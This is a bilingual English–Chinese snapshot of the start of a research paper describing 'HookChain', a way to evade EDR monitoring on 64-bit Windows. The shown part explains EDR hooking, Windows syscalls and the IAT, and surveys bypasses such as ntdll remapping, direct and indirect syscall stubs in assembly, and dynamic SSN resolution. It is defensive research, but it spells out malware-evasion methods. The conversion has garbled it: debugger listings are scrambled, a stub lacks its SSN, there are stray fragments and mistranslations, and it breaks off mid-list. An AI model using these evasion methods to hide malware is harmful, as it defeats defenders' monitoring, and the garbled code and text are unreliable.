这是用户在 2024-8-21 9:59 为 https://app.immersivetranslate.com/pdf-pro/504726a7-8ed5-42fc-906b-72875239ba27 保存的双语快照页面,由 沉浸式翻译 提供双语支持。了解如何保存?
2024_08_21_2bc849000e60b71ab241g

HookChain: A new perspective for Bypassing EDR Solutions
HookChain:绕过 EDR 解决方案的新视角

Helvio Benedito Dias de Carvalho Junior (aka M4v3r1ck) Sec4US
Helvio Benedito Dias de Carvalho Junior(又名 M4v3r1ck) Sec4US

Abstract 摘要

In the current digital security ecosystem, where threats evolve rapidly and with complexity, companies developing Endpoint Detection and Response (EDR) solutions are in constant search for innovations that not only keep up but also anticipate emerging attack vectors. In this context, this article introduces the HookChain, a look from another perspective at widely known techniques, which when combined, provide an additional layer of sophisticated evasion against traditional EDR systems. Through a precise combination of IAT Hooking techniques, dynamic SSN resolution, and indirect system calls, HookChain redirects the execution flow of Windows subsystems in a way that remains invisible to the vigilant eyes of EDRs that only act on Ntdll.dIl, without requiring changes to the source code of the applications and malwares involved. This work not only challenges current conventions in cybersecurity but also sheds light on a promising path for future protection strategies, leveraging the understanding that continuous evolution is key to the effectiveness of digital security. By developing and exploring the HookChain technique, this study significantly contributes to the body of knowledge in endpoint security, stimulating the development of more robust and adaptive solutions that can effectively address the ever-changing dynamics of digital threats. This work aspires to inspire deep reflection and advancement in the research and development of security technologies that are always several steps ahead of adversaries.
在当前的数字安全生态系统中,威胁发展迅速而复杂,开发端点检测和响应(EDR)解决方案的公司一直在寻求创新,不仅要跟上时代的步伐,还要预测新出现的攻击载体。在此背景下,本文将介绍 HookChain(钩链),从另一个角度审视广为人知的技术,将这些技术结合起来,就能为传统 EDR 系统提供额外一层复杂的规避手段。通过将 IAT 挂钩技术、动态 SSN 解析和间接系统调用精确结合,HookChain 可以重定向 Windows 子系统的执行流,使只对 Ntdll.dIl 采取行动的 EDR 无法察觉,而无需更改相关应用程序和恶意软件的源代码。这项工作不仅挑战了网络安全领域的现有惯例,还为未来的保护策略指明了一条大有可为的道路,因为人们认识到,持续演进是数字安全有效性的关键所在。通过开发和探索 HookChain 技术,本研究为端点安全领域的知识体系做出了重大贡献,促进了更稳健、适应性更强的解决方案的开发,从而有效应对瞬息万变的数字威胁。这项工作旨在激发人们深入思考,推动安全技术的研究和开发,使其始终领先对手数步。

Keywords: HookChain, Bypass EDR, Evading EDR
关键词钩链 绕过 EDR 规避 EDR

Repositório: https://github.com/helviojunior/hookchain/
Repositório:https://github.com/helviojunior/hookchain/

ACM Reference Format: Helvio Carvalho Junior. 2024. HookChain: A new perspective for Bypassing EDR Solutions. Curitiba, PR, BRAZIL, 50 pages.
ACM 参考格式:Helvio Carvalho Junior.2024.HookChain:绕过 EDR 解决方案的新视角》。巴西库里提巴,PR,50 页。

https://arxiv.org/abs/2404.16856

1. INTRODUCTION 1.引言

In the current corporate scenario, where digital security is more critical than ever, Endpoint Detection and Response (EDR) systems have emerged as essential pillars in the defense against increasingly complex digital attacks and threats. As the technological world becomes increasingly intricate and digital threats evolve with impressive speed, companies have been compelled to develop their own EDR solutions, moving billions of dollars in this vibrant market.
在当前的企业环境中,数字安全比以往任何时候都更加重要,端点检测和响应(EDR)系统已成为抵御日益复杂的数字攻击和威胁的重要支柱。随着技术世界变得日益复杂,数字威胁以惊人的速度发展,企业不得不开发自己的 EDR 解决方案,并在这个充满活力的市场上投入数十亿美元。
In this study, I highlight the new perspective that HookChain brings to advanced security evasion techniques, by skillfully escaping the monitoring and control mechanisms implemented by EDRs in the user mode, specifically in the Ntdll.dll library. This library serves as a critical point for telemetry collection for most EDRs, operating at the last frontier before accessing the operating kernel (ring 0 ).
在本研究中,我重点介绍了 HookChain 为高级安全规避技术带来的新视角,它巧妙地避开了 EDR 在用户模式下(特别是在 Ntdll.dll 库中)实施的监控机制。该库是大多数 EDR 收集遥测数据的关键点,位于访问操作内核(0 环)前的最后边界。
Through a sophisticated method that combines IAT Hooking (a type of function call interception through the manipulation of the import table) with the dynamic resolution of system service numbers (SSN) and indirect system calls (Indirect Syscalls), HookChain is capable of redirecting the execution flow of all major Windows subsystems, such as kernel32.dll, kernelbase.dII, and user32.dll. This means that, once deployed, HookChain ensures that all API calls within the context of an application are carried out transparently, completely avoiding detection by EDRs.
HookChain 将 IAT Hooking(一种通过操作导入表来拦截函数调用的方法)与系统服务号(SSN)和间接系统调用(Indirect Syscalls)的动态解析相结合,通过这种复杂的方法,HookChain 能够重定向所有主要 Windows 子系统(如 kernel32.dll、kernelbase.dII 和 user32.dll)的执行流。这意味着,一旦部署,HookChain 就能确保在应用程序上下文中透明地执行所有 API 调用,完全避免被 EDR 检测到。
The differential is that this technique is executed without requiring any modification to the source code of the application or malware to be executed, ensuring, at the time of the elaboration and publication of this research, a complete evasion of the monitoring mechanisms of Ntdll.dll installed by the majority of EDR systems. This methodology opens new paths for the development of more robust security strategies, challenging companies to rethink the effectiveness of their digital protection systems.
不同之处在于,这种技术在执行时不需要对要执行的应用程序或恶意软件的源代码进行任何修改,从而确保在编写和发布本研究报告时,能够完全规避大多数 EDR 系统安装的 Ntdll.dll 的监控机制。这种方法为开发更强大的安全策略开辟了新的道路,促使企业重新思考其数字保护系统的有效性。

1.1. Objective and Limitations
1.1.目标和限制

This study aims to demonstrate a new bypass technique using the interception of the operating system API functions of Microsoft Windows©64bit in user mode.
本研究旨在展示一种新的绕过技术,即在用户模式下截取 Microsoft Windows©64bit 操作系统 API 功能。
Thus, the concepts demonstrated are related to the Windows operating system with the 64-bit process running in user mode, therefore we will not delve into other operating systems, nor into other architectures. As well as we will not delve into other telemetry methodologies and bypasses such as: static analysis, kernel driver, interceptions in kernel mode among others.
因此,所演示的概念与在用户模式下运行 64 位进程的 Windows 操作系统有关,因此我们不会深入研究其他操作系统或其他架构。我们也不会深入探讨其他遥测方法和绕过方法,如:静态分析、内核驱动程序、内核模式下的拦截等。

1.2. Ethics 1.2.伦理

This study does not represent ethical violations, as all tests were conducted in controlled environments with valid licensing. Nor does it aim to classify the defense and EDR products demonstrated here in terms of their effectiveness, efficacy, and quality in the process of protecting and defending the assets where they are installed, as it is a study and presentation of a technique focused on a single point of identification of the agents.
本研究并不违反道德规范,因为所有测试都是在受控环境中进行的,并获得了有效许可。本研究的目的也不是要对在此展示的防御和电子数据记录仪产品在保护和保卫所安装资产的过程中的有效性、功效和质量进行分类,因为本研究只是对一种技术的研究和介绍,重点是对特工的单点识别。

2. BACKGROUND 2.背景情况

2.1. EDR Architecture 2.1.EDR 架构

2.1.1. Overview 2.1.1.概述

EDR is the acronym for Endpoint Detection and Response, whose main function is the identification, containment, and alert of malicious behaviors.
EDR 是 Endpoint Detection and Response(端点检测和响应)的首字母缩写,其主要功能是识别、遏制和警告恶意行为。
An EDR agent is a collection of software components that creates, consumes, processes, and transmits data from the operating system activities to a central unit, whose job is to determine the actor/user's intention (whether the intention and behavior are malicious or not) [1, p. XIX] .
EDR 代理是一系列软件组件,负责创建、消耗、处理操作系统活动数据并将数据传输到中央单元,中央单元的任务是确定行为者/用户的意图(无论其意图和行为是否恶意) [1, 第 XIX 页] 。

2.1.2. Agent Design 2.1.2.代理设计

Basically, agents are composed of several components, each with its function and type of data it can collect for telemetry. [1, p. 9]
基本上,代理由多个组件组成,每个组件都有自己的功能和可用于遥测的数据类型。[1, p. 9]
The most common agents/modules are:
最常见的制剂/模块有
  • Static Scanner: Performs static analysis of files/images such as the PE (Portable Executable).
    静态扫描器:对 PE(可移植可执行文件)等文件/图像进行静态分析。
  • DLL Hook: Hooking (or interception) is the process of redirecting the application's execution flow with the goal of intercepting specific calls from the operating system's APIs (Application Programming Interface).
    DLL 挂钩:挂钩(或拦截)是重定向应用程序执行流程的过程,目的是拦截操作系统 API(应用程序编程接口)的特定调用。
  • Kernel Driver: The kernel driver is the component responsible for injecting the code (usually a DLL) that will intercept the function calls in the target process. In some EDR solutions, the kernel driver is also used to intercept API calls at the kernel level.
    内核驱动程序:内核驱动程序是负责注入代码(通常是 DLL)的组件,用于拦截目标进程中的函数调用。在某些 EDR 解决方案中,内核驱动程序还用于在内核级别拦截 API 调用。
  • Agent Service: It is the module/application responsible for aggregating telemetry and events generated by the EDR components, in some cases correlating this data, generating alerts or containments. Subsequently synchronize this data with the EDR management center.
    代理服务:它是一个模块/应用程序,负责汇总 EDR 组件生成的遥测数据和事件,在某些情况下还负责将这些数据关联起来,生成警报或遏制措施。随后将这些数据与 EDR 管理中心同步。
The Figure 1 illustrates these components and the correlation between each of them. As we can observe, an EDR agent does not use many sources of information to make its decisions. It is worth noting that the amount of information, the way the modules are used, and the positioning of the modules can vary from product to product.
图 1 展示了这些组件以及每个组件之间的相互关系。我们可以看到,电子数据采集代理并不使用很多信息源来做出决策。值得注意的是,不同产品的信息量、模块使用方式和模块定位都会有所不同。

Figure 1: Basic architecture of the agent [1, p. 10]
图 1:代理的基本架构 [1, 第 10 页]

2.2. Windows Internals 2.2.视窗内部

2.2.1. Concepts and Fundamentals
2.2.1.概念和基本原理

2.2.1.1. Windows API 2.2.1.1.视窗应用程序接口

API is an acronym for Application Programming Interface. API is a set of communication methods among various software components.
API 是应用程序编程接口(Application Programming Interface)的缩写。API 是各种软件组件之间的一套通信方法。

"The system programming interface is a user-space memory programming interface" [2, p. 2] . In practice, everything we do on Windows (opening a file, read or write access to files, accessing the network, among others) is done through Windows APIs. The same occurs in other systems (including operating systems like Linux, iOS, Android among others).
"系统编程接口是用户空间内存编程接口"[2,第 2 页]。实际上,我们在 Windows 上所做的一切(打开文件、读写文件、访问网络等)都是通过 Windows API 完成的。其他系统(包括 Linux、iOS、Android 等操作系统)也是如此。

Hyper-V Hypervisor Hyper-V 虚拟机管理程序
Figure 2: Simplified Architecture of Windows [3, p. 47]
图 2:Windows 的简化架构 [3,第 47 页]
In Figure 2, we can observe a dividing line between the components residing in user mode and those residing in kernel mode. As well as a second dividing line between the kernel mode and the hypervisor. Generally, the hypervisor continues running with the same privileges as the kernel (ring 0), but as the hypervisor use specialized CPU instructions (VT-x in Intel, SVM in AMD), it can isolate itself from the kernel while monitoring it (and the applications). [3, p. 47]
在图 2 中,我们可以看到用户模式和内核模式组件之间的分界线。内核模式和管理程序之间还有第二条分界线。一般来说,管理程序继续以与内核相同的权限运行(环 0),但由于管理程序使用专门的 CPU 指令(英特尔的 VT-x 和 AMD 的 SVM),它可以在监控内核(和应用程序)的同时将自己与内核隔离开来。[3, p. 47]
For the purpose of this study, we will focus solely on the transition process between user mode and kernel mode.
在本研究中,我们将只关注用户模式和内核模式之间的转换过程。

2.2.2. Kernel Mode vs. User Mode
2.2.2.内核模式与用户模式

With the aim of protecting applications from accessing and modifying critical operating system data, Windows uses two access modes (privileges):user mode and kernel mode. User applications run in user mode (user mode), while operating system codes such as system services and device drivers run in kernel mode (kernel mode). [2, p. 17]
为了防止应用程序访问和修改关键的操作系统数据,Windows 使用了两种访问模式(权限):用户模式和内核模式。用户应用程序在用户模式(用户模式)下运行,而系统服务和设备驱动程序等操作系统代码在内核模式(内核模式)下运行。[2, p. 17]
Note: The x86 and AMD64 (x64) architectures define four levels of privileges (protection rings) with the aim of protecting system code and data from erroneous or malicious changes coming from lower privilege code. Windows uses only privilege 0 (or ring 0 ) for kernel mode and privilege 3 (or ring 3) for user mode. [2, p. 17]
注:x86 和 AMD64 (x64) 体系结构定义了四级权限(保护环),目的是保护系统代码和数据免受来自低权限代码的错误或恶意更改。Windows 仅在内核模式下使用权限 0(或保护环 0),在用户模式下使用权限 3(或保护环 3)。[2, p. 17]

2.2.3. Services, Functions, and Routines
2.2.3.服务、功能和例程

With the aim of standardizing the understanding of some terms in this article, we will use the definitions described by Russinovich [2, p. 4]
为了统一本文中对某些术语的理解,我们将使用 Russinovich [2, 第 4 页] 所描述的定义
  • DLLs (dynamic-link libraries): A package with various functions available for use. Examples: Kernel32.dII, User32.dII, and ntdll.dll.
    DLL(动态链接库):包含各种可用功能的软件包。例如Kernel32.dII、User32.dII 和 ntdll.dll。
  • Windows API functions:Documented sub-routines/functions available for use (in user mode) in the Windows APIs. Examples: CreateProcess and CreateFile from the DLL Kernel32.dII and GetMessage from the DLL User32.dII.
    Windows API 函数:可在 Windows API 中使用(用户模式)的文档子程序/函数。例如DLL Kernel32.dII 中的 CreateProcess 和 CreateFile 以及 DLL User32.dII 中的 GetMessage。
  • Native system services: Also known as System Calls, are undocumented functions available for use (in user mode). These functions are present within the DLL ntdll.dll and have their nomenclature starting with Nt or Zw . For example, NtCreateUserProcess is the internal function called by the CreateProcess function to create a process.
    本地系统服务:也称为系统调用(System Calls),是可供使用(在用户模式下)的无文档功能。这些函数存在于动态链接库 ntdll.dll 中,其名称以 Nt 或 Zw 开头。例如,NtCreateUserProcess 是 CreateProcess 函数为创建进程而调用的内部函数。

2.2.4. System Service Dispatching
2.2.4.系统服务调度

Fundamentally, System Service Dispatching is the transition gate from ring 3 (user mode) to ring 0 (kernel mode). System Service Dispatching is one of the interruptions captured by the kernel (Kernel's trap handlers dispatch interrupts) so that the system service dispatch is the result of an execution triggered by an instruction designated for the system service. [2, p. 132]
从根本上说,系统服务调度是从环 3(用户模式)到环 0(内核模式)的过渡门。系统服务调度是内核捕获的中断之一(内核陷阱处理程序调度中断),因此系统服务调度是系统服务指定指令触发执行的结果。[2, p. 132]
As described in the AMD64 architecture calling convention, Windows uses the assembly instruction syscall, passing the system call number (also known as SSN - System Service Number) in the EAX register as well as the first 4 function parameters in registers and all other parameters (when applicable) on the stack. [4] [4]
如 AMD64 架构调用约定所述,Windows 使用汇编指令 syscall,在 EAX 寄存器中传递系统调用号(也称为 SSN - 系统服务号),在寄存器中传递前 4 个函数参数,并在堆栈中传递所有其他参数(如适用)。[4] [4]
For security reasons, Microsoft changes the SSN of each function when a new Service Pack or Windows Release is launched. Eventually, new functions may be added or removed.
出于安全考虑,微软会在推出新的 Service Pack 或 Windows 版本时更改每个功能的 SSN。最终,可能会添加或删除新功能。
Note: As we will see later, this SSN randomization process requires us to solve it dynamically for the correct use of functions directly.
注:正如我们稍后将看到的,这个 SSN 随机化过程需要我们动态求解,以便直接正确使用函数。
As in the 64-bit architecture there is only one mechanism for executing system calls, the entry point of the system service in ntdll.dll uses the syscall instruction directly, as we can see below:
由于在 64 位架构中只有一种执行系统调用的机制,ntdll.dll 中系统服务的入口点直接使用 syscall 指令,如下所示:
0:002> u ntdll!NtReadFile
ntdll!NtReadFile:
00007ffe`b258d090 4c8bd1
mov r10,rcx
00007ffe`b258d093 b806000000
mov eax,6
00007ffe`b258d0a2 0f05
    syscall
00007ffe`b258d0a4 c3
ret
Additionally, we can observe that the value 6 was assigned to the EAX register, so that in this release/service pack of Windows the SSN of the function NtReadFile is decimal 6.
此外,我们还可以看到,EAX 寄存器的值为 6,因此在 Windows 的这个版本/服务包中,函数 NtReadFile 的 SSN 为十进制 6。
As we can see in Figure 3, after transitioning to kernel mode, the SSN is used to locate the respective service.
如图 3 所示,在过渡到内核模式后,SSN 被用来定位相应的服务。

Figure 3: System service exceptions [2, p. 135]
图 3:系统服务异常 [2, 第 135 页]

Additionally, we can verify in the code of the ZwReadFile function, in kernel mode, that the SSN used is exactly the same.
此外,我们还可以在内核模式下的 ZwReadFile 函数代码中验证所使用的 SSN 是否完全相同。
lkd> uf nt!ZwReadFile
nt!ZwReadFile:
fffff806`0e7f9e00 488bc4 mov rax,rsp
fffff806`0e7f9e03 fa
fffff806`0e7f9e04 4883ec10
    cli
    sub rsp,10h
fffff806`0e7f9e08 50 push rax
fffff806`0e7f9e09 9c pushfq
fffff806`0e7f9e0a 6a10
push
    lea
    push
fffff806`0e7f9e13 50
    mov
    jmp
    10h
    rax,[nt!KiServiceLinkage (fffff806`0e802640)]
    rax
    eax,6
fffff806`0e7f9e14 b806000000
fffff806`0e7f9e19 e9e2710100
    nt!KiServiceInternal (fffff806`0e811000)
Figure 4 summarizes this process, in the AMD64 architecture, illustrating the entire call path starting at the WriteFile function in Kernel32.dII which in turn will import and execute the WriteFile function in Kernelbase.dII, which after some parameter checks will make the call to the NtWriteFile function in ntdII.dIl, where the correct syscall instruction call will be executed, passing the SSN that represents the NtWriteFile function. The system service dispatcher (KiSystemService function in Ntoskrnl.exe) will then execute the actual implementation of the NtWriteFile function.
图 4 总结了 AMD64 架构中的这一过程,说明了从 Kernel32.dII 中的 WriteFile 函数开始的整个调用路径,而 Kernel32.dII 将导入并执行 Kernelbase.dII 中的 WriteFile 函数,在进行一些参数检查后,该函数将调用 ntdII.dIl 中的 NtWriteFile 函数,在此执行正确的系统调用指令调用,并传递表示 NtWriteFile 函数的 SSN。然后,系统服务调度程序(Ntoskrnl.exe 中的 KiSystemService 函数)将执行 NtWriteFile 函数的实际执行。

Figure 4: System service dispatching [2, p. 138]
图 4:系统服务调度 [2,第 138 页]

2.2.5. Image Loader 2.2.5.图像加载器

When a process is initiated, several actions are carried out internally by the operating system, some in user mode and others in kernel mode. For the purpose of this study, we will focus on the process of resolving referenced DLLs and importing/referencing functions.
当进程启动时,操作系统会在内部执行若干操作,其中一些操作是在用户模式下执行的,另一些操作则是在内核模式下执行的。在本研究中,我们将重点关注解析引用的 DLL 和导入/引用函数的过程。
The image loader is a user-mode resident code, within NtdII.dII and not in a kernel library. In this way, there is a guarantee that NtdII.dII will always be present in the running process (Ntdll.dll is always loaded). [2, p. 232]
图像加载器是用户模式常驻代码,位于 NtdII.dII 中,而不是内核库中。这样就能保证 NtdII.dII 始终存在于运行进程中(Ntdll.dll 始终被加载)。[2, p. 232]
Executables and DLLs follow a format known as Portable Executable (PE) and COFF (Common Object File Format) respectively. The name "Portable Executable" refers to the fact that the format is not architecture-specific. [5]
可执行文件和 DLL 采用的格式分别称为 "可移植可执行文件(PE)"和 "通用对象文件格式(COFF)"。可移植可执行文件 "这一名称是指该格式不针对特定的体系结构。[5]

Figure 5: Import Directory of notepad.exe
图 5:notepad.exe 的导入目录
In Figure 5 we can observe the use of the CFF Explorer software [6] to view the import table (Import Directory), where all the DLLs referenced by the application are defined, as well as the referenced functions of each DLL.
在图 5 中,我们可以看到使用 CFF Explorer 软件[6]来查看导入表(导入目录),其中定义了应用程序引用的所有 DLL 以及每个 DLL 的引用函数。
During the application loading, another table called IAT (Import Address Table) is filled with the current addresses of the function in memory. This process is carried out dynamically to meet various requirements such as memory reallocation, ASLR (Address Space Layout Randomization) among others.
在应用程序加载过程中,另一个名为 IAT(导入地址表)的表将填入内存中函数的当前地址。这一过程是动态进行的,以满足内存重新分配、ASLR(地址空间布局随机化)等各种要求。

2.2.5.1. IAT - Import Address Table
2.2.5.1.IAT - 导入地址表

During the initialization and loading process of an application, the IAT is filled with the current address of each function referenced by the application. For this process, the following steps are performed:
在应用程序的初始化和加载过程中,IAT 会填入应用程序引用的每个函数的当前地址。在此过程中,需要执行以下步骤:
  1. Loads each one of the DLLs referenced in the PE import table.
    加载 PE 导入表中引用的每个 DLL。
  2. Checks if the DLL in question is already loaded into the process's memory, if not, reads the DLL from disk and maps it into memory.
    检查相关 DLL 是否已加载到进程内存中,如果没有,则从磁盘读取 DLL 并映射到内存中。
  3. After mapping the DLL into memory, this process is repeated for this DLL with the goal of importing the dependencies used by it.
    将 DLL 映射到内存中后,对该 DLL 重复这一过程,目的是导入其使用的依赖项。
  4. After each DLL is loaded, the IAT is processed looking for the specific functions to be imported. Usually, this process is carried out by the function's name, however, there is a possibility of it being done by an index number. For each imported name, the loader checks the export table of the imported DLL and tries to locate the desired function. If it does not find it, this operation is approached.
    每个 DLL 加载完成后,IAT 将进行处理,查找要导入的特定函数。通常,这一过程是按函数名称进行的,但也有可能按索引号进行。对于每个导入的名称,加载器都会检查导入 DLL 的导出表,并尝试查找所需的函数。如果找不到,就会执行该操作。
0:002> lm
start end
00007ff7`3ddf0000 00007ff7`3de28000
module name
    notepad
. . .
0:002> !dh 00007ff7`3ddf0000 -f
File Type: EXECUTABLE IMAGE

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-10.jpg?height=455&width=1186&top_left_y=2297&top_left_x=184)

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-11.jpg?height=546&width=1717&top_left_y=144&top_left_x=175)
In the output above, we can observe the IAT listing of the notepad.exe process, as well as in the output below it is observed that at the indicated address is indeed the code of the mapped function.

0:002> u 00007ffeb1b8b1d0 KERNEL32!GetProcAddressStub: 00007ffeb1b8b1d0 4c8b0424 mov r8,qword ptr [rsp]
0:002> u 00007ffeb1b8b1d0 KERNEL32!GetProcAddressStub:00007ffeb1b8b1d0 4c8b0424 mov r8,qword ptr [rsp].

00007ffeb1b8b1d4 48ff25a5580600 jmp qword ptr [KERNEL32!_imp_GetProcAddressForCaller (00007ffeb1bf0a80)]
00007ffeb1b8b1d4 48ff25a5580600 jmp qword ptr [KERNEL32!_imp_GetProcAddressForCaller (00007ffeb1bf0a80)] 。

00007ffeb1b8b1db cc int 00007ffeb1b8b1dc cc int 3

Figure 6 illustrates the entire import scheme that was detailed.

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-11.jpg?height=675&width=1469&top_left_y=1484&top_left_x=296)
Figure 6: PE Import Schema

\subsection*{2.3. Function Hook}

Function interception (Hook) is not something new and has various applications such as application debugging (as implemented by the API Monitor software [7]) but also in the monitoring process by defense layers (EDR).

The general idea behind function interception is to insert into the control
flow of the application being monitored. The monitoring agent takes control of the monitored function before the original code is executed, after the desired analysis (which can be logging, telemetry, control among others) the flow of execution is transferred to the original function. [8, p. 687]

To carry out this process, there are several approaches available, in this article we will discuss the most used by EDRs: 1 - Use of JMP or CALL ; 2 -
Manipulation of the IAT (Import Address Table). In both strategies, the EDR performs the desired manipulations at runtime, that is, at the moment of the application's loading, the EDR receives the event and performs the injection of its Hook DLL, which in turn will alter the desired code of the application to be monitored.

Note: As previously described, the flows and diagrams refer to Windows 64 bits with the application also running in 64 bits.

\subsection*{2.3.1. JMP or CALL}

This strategy is generally used to alter the code of native function calls within ntdll.dII.

Below, we can see the original NtCreateProcess function, that is, without the presence of a hook.

0:002> u ntdll!NtCreateProcess
ntdll!NtCreateProcess: ntdll!NtCreateProcess:
00007ffeb258e700 4c8bd1 mov r10,rcx 00007ffeb258e703 b8ba000000
mov eax,0BAh
00007ffeb258e712 0f05 00007ffeb258e714 c3
00007ffeb258e715 cd2e syscall ret int 2Eh 00007ffeb258e717 c3
ret 重新

Now, when an EDR is present, it can be observed that the first instructions are replaced by a JMP (it could be a CALL, but it is less common to see), thus redirecting the application's execution flow to an arbitrary code injected by the EDR.

0:004> u ntdll!NtCreateProcess
ntdll!NtCreateProcess: ntdll!NtCreateProcess:
00007fff96bee700 e9f81b1600 00007fff96bee705 cc
jmp 00007fff96d502fd 00007fff96bee706 cc
int 3
00007fff`96bee707 cc
  • .
    00007fff96bee712 0f05 syscall 00007fff96bee714 c3
    ret 重新

And the destination address of the JMP is not linked to any known module (DLL), thus being a code injected at runtime.

0:004> !address 00007fff96d502fd Usage: Base Address: End Address: Region Size: State: Protect: Type: Allocation Base: <unknown> 00007fff96d50000
0:004> !address 00007fff96d502fd Usage:基址:结束地址:区域大小:状态:保护:类型分配基数:<unknown> 00007fff96d50000

00007fff96d53000 0000000000003000(12.000 kB)

00000020 PAGE_EXECUTE_READ
00000020 页面执行读取

0 0 0 2 0 0 0 0
MEM PRIVATE
00007fff`96d50000
Allocation Protect: 分配保护:

\subsection*{2.3.2. IAT Hook}

One of the first records of the function interception process through IAT manipulation was described by Matt Pietrek in 1995 in his book Windows 95 System Programming Secrets [8, p. 687]

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-13.jpg?height=638&width=1255&top_left_y=1286&top_left_x=412)
Figure 7: Original execution flow
Figure 7 demonstrates the original application execution flow, where when the application needs to make an external function call (referenced in another DLL) the application looks in the IAT for the desired function's address and subsequently makes the CALL to this address.

On the other hand, in Figure 8 it can be observed that the function's address in the IAT was replaced by an arbitrary address (interceptor function) that optionally can execute the original function.

In scenarios where this interception is carried out by the EDR, the address present in the IAT will be the address of the EDR function that will perform telemetry processes, checks, logs, and other tasks planned by the EDR.

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-14.jpg?height=1106&width=1535&top_left_y=138&top_left_x=272)
Figure 8: Execution flow with interception

\subsection*{2.4. Known Bypasses}

Regarding the bypass of hooks performed by the EDR, there are several possible techniques that have been publicly disclosed, but commonly they are reduced to the following techniques:
- Remapping of Ntdll.dll to obtain the original code or overwrite the function code in the previously mapped memory area.
- Direct syscall calls (direct syscalls).

A large part of the EDRs currently on the market centralize their monitoring point, in user mode, through the interception of calls in Ntdll.dll using the JMP technique, thus the publicly reported user mode hook bypass techniques to date act around Ntdll.dll.

\subsection*{2.4.1. Remapping of NtdII.dII}

The technique of remapping ntdll, as well as other techniques, can have various variants. Generally, remapping consists of reading a complete copy of ntdll.dll (without the hooks), usually directly from the disk, and subsequently overwriting the memory area related to the intercepted functions.

Another common way to obtain a copy of ntdll.dll without the interceptions is by creating a process in suspended mode, and later reading
the ntdll.dll from this process, because as we have seen previously, ntdll.dll is essential and crucial for the loading and execution of a new process. Thus, even in suspended mode, the process already holds a copy of ntdll.dll in its memory area, and as the process loading has not yet been completed, the EDR has not yet received the call-back to inject its Hook DLL, thus the copy of ntdll.dll in this process is still intact (without the hooks).

\subsection*{2.4.2. Direct Syscalls}

By far, the methodology for evading hooks inserted into the functions of Ntdll.dll is the execution of direct Syscall calls. [1, p. 25]

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-15.jpg?height=509&width=1334&top_left_y=768&top_left_x=361)
Figure 9: Normal Execution Flow of NtAllocateVirtualMemory
Figure 9 demonstrates the normal and expected flow for an application to make the call to the NtAllocateVirtualMemory function in Ntdll.dll.

This process involves reconstructing the code of the desired function from NtdII.dII as in the example below:

NtAllocateVirtualMemory PROC
mov r10, rcx 移动 r10、rcx
mov eax,  mov eax、
syscall 系统调用
ret 重新
NtAllocateVirtualMemory ENDP

Subsequently in the C++ application create the function definition:

EXTERN_C NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle, HANDLE ProcessHandle、
PVOID BaseAddress, PVOID BaseAddress、
ULONG ZeroBits, ULONG ZeroBits、
PULONG RegionSize, PULONG RegionSize、
ULONG AllocationType, ULONG AllocationType、
ULONG Protect ); ULONG Protect );
In this way, the application executes the SYSCALL instruction [9] directly without going through any of the Windows subsystem DLLs (User32.dll, kernel32.dIl among others) nor through Ntdll.dll, as illustrated in Figure 10.

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-16.jpg?height=527&width=1338&top_left_y=131&top_left_x=359)
Figure 10: Direct execution flow of NtAllocateVirtualMemory

This methodology has the advantage of evading all user-mode hooks since all execution control is within the application itself. However, there is a high probability of identification by the EDR due to some telemetry such as:
- Total execution time of the process.
- Execution chain, where the EDR expects the function call to have come from the application, then passed through Kernel32.dII, then through NtdII.dII.

Besides the possibility of identification, there are other downsides to this methodology:
- The need for manual mapping of each SSN (System Service Number) and its related function, as we have seen before, Windows changes these numbers at any time without any prior notice.
- A significant programming effort to port the desired codes that use Windows subsystem DLLs to use only native functions through direct Syscall calling.
- Low portability of pre-existing codes. Because there is a need to adjust the source code of the application to use only native calls such as Nt... and Zw...

\subsection*{2.4.3. Indirect Syscall}

A widely used variant of the technique above is the Indirect Syscall, which consists of modifying the function to, instead of executing the SYSCALL instruction directly, perform a JMP to a memory address within the NtdII.dII that contains the Syscall instruction.

Considering the code below (extracted from a certain function) from NtdII.dII```
0:002> u ntdll!NtCreateProcess
ntdll!NtCreateProcess:
00007ffe`b258e700 4c8bd1
mov r10,rcx
00007ffe`b258e703 b8ba000000
mov eax,0BAh
00007ffe`b258e712 0f05
00007ffe`b258e714 c3
syscall
ret
00007ffe`b258e715 cd2e
    int 2Eh
00007ffe`b258e717 c3
One can alter the function's replica so that after setting the EAX, it performs a JMP to the address of the SYSCALL instruction.
我们可以改变函数的副本,使其在设置 EAX 之后,执行 JMP 到 SYSCALL 指令的地址。
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, <SSN>
    JMP 00007ffe`b258e712
ret
NtAllocateVirtualMemory ENDP
This minor change brings significant effectiveness because from the perspective of the execution chain telemetry, the syscall instruction call will have come from Ntdll. dII and not directly from the application's code anymore.
从执行链遥测的角度来看,系统调用指令的调用将来自 Ntdll.

2.4.4. Dynamic Resolution of the SSN
2.4.4.SSN 的动态分辨率

In December 2020, @modexpblog described in his blog a post named "Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams" [9] where he details how to perform the dynamic correlation between the Syscall Number (SSN) and its associated function, making the bypass more reliable, as it does not require containing a list of SSNs for each Windows build fixed within the application. This technique utilizes the following flow:
2020 年 12 月,@modexpblog 在其博客中发表了一篇名为 "绕过用户模式钩子和直接调用系统调用的红队 "的文章 [9],其中详细介绍了如何在系统调用号(SSN)与其相关函数之间执行动态关联,从而使绕过更加可靠,因为它不需要在应用程序中固定包含每个 Windows 构建的 SSN 列表。该技术采用以下流程:
  1. Locates the base address of Ntdll.dll using the TEB (Thread Environment Block) and PEB (Process Environment Block) tables.
    使用 TEB(线程环境块)和 PEB(进程环境块)表定位 Ntdll.dll 的基地址。
  2. Enumerates all functions starting with "Zw", as in user mode the Nt... and . functions point to the same address, thus there being no practical difference in using Zw or Nt in this scenario.
    枚举以 "Zw "开头的所有函数,因为在用户模式下,Nt... 和 . 函数指向相同的地址,因此在这种情况下使用 Zw 或 Nt 没有实际区别。
